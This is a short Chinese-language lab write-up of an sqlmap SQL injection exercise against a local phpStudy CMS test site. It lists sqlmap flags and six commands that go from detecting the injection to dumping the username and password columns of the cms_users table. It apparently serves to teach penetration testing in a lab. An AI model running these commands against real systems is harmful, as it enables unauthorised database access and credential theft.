记一次sqlmap的案例实验

环境搭建

网站搭建–window server 2008 phpstudy 测试机 kali虚拟机

Sql map参数 参数含义-u “url”检测注入点–dbs列出所有数据库的名字–current-db列出当前数据库的名字-D指定一个数据库–tables列出表名-T指定表名–columns列出所有的字段名-C指定字段–dump列出字段内容 第一步 检测注入点

[sqlmap -u http://192.168.139.136/cms/show.php?id=33]

第二步 列出所有数据库的名字

[sqlmap -u http://192.168.139.136/cms/show.php?id=33 --dbs]

第三步 列出当前数据库的名字

[sqlmap -u http://192.168.139.136/cms/show.php?id=33 --current-db]

第四步 列出表名

[sqlmap -u http://192.168.139.136/cms/show.php?id=33 -D cms --tables]

第五步列出所有的字段名

[sqlmap -u http://192.168.139.136/cms/show.php?id=33 -D cms --tables -T cms_users --columns]

第六步 列出字段内容

[sqlmap -u http://192.168.139.136/cms/show.php?id=33 -D cms -T cms_users -C "username,password" --dump]

免责声明

本文档供学习，请使用者注意使用环境并遵守国家相关法律法规! 由于使用不当造成的后果上传者概不负责！